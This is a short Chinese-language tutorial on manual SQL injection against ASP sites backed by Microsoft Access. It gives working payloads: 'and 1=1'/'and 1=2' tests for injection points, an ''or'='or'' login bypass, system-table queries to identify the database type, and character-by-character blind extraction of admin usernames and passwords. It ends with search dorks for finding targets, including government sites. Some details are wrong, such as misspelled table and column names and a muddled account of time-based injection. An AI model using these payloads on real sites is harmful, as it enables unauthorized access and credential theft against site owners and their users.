手工注入Access
1.远程溢出的时代一去不复返
2.windows的AutomaticUpdate服务也会在第一时间打好补丁(不包括0day和第三方软件漏洞)
注入成因
程序对用户输入的字符没有进行过滤
判断注入点
url后面必须有参数传递:如www.sina.com/a.asp?id=1
and 1=1 返回正常
and 1=2 返回错误,则该处存在注入
基于时间的注入:
1.逻辑与 and,A and B,如果A为假,则不再对B是否为真进行判断,直接返回假;
2.逻辑或 or,A or B,如果A为真,则不在对B是否为真进行判断,直接返回真。
利用上面两条,可以进行基于时间的SQL注入
万能口令
'or'='or',一般的用户查询口令是 select * from admin where username =''or'='or'' password ='111111',原来的是username=真实的用户名,password是真实的用户名。
判断数据库类型
加'实现让数据库报错; and (select count(*) form 数据库的独有表名)>0
access独有表:mssysobjects
mssql独有表:sysobjects
mysql独有表:infomation_schema.tables
oracle独有表:sys.user_tables
手工注入Access
一 判断表名:admin,user,userinfo
and (select count() from admin)>0,如果返回正常,说明表存在;若返回不正常,则继续猜表名
二 判断列名:user,pass;username,password;admin_uesr,admin_pwd
and (select count(admin_user) from admin)>0,第一步猜出表名后,只要把里面的换成列名就可以了,返回正常,则说明有这个列(列可以参照上面的列名)
三 判断长度:len(admin_user)>4,若len(admin_user)>4返回正常,len(admin_user)>5返回错误,则长度为5
and (select len(admin_user) from admin)>4
四 判断值:left(admin_user,1)='a'#表示猜左边起的前一个值是否等于a,如果页面返回正常,则表示猜解正确。
left(admin_user,2)='ab'#表示猜左边起的前二个值是否等于ab
left(admin_user,3)='abm'#表示猜左边起的前三个值是否等于abm
left(admin_user,4)='abmi'#表示猜左边起的前四个值是否等于abmi
left(admin_user,5)='admin'#表示猜左边起的前五个值是否等于admin
以上步骤就是猜解admin的过程
and (select left(admin_uesr,1) from admin)='a',注意是在admin_uesr表里面猜
五 自动化工具:domain,啊D等
六 google:inurl:.gov asp+id
baidu:inurl:asp?id= #注意百度不支持加号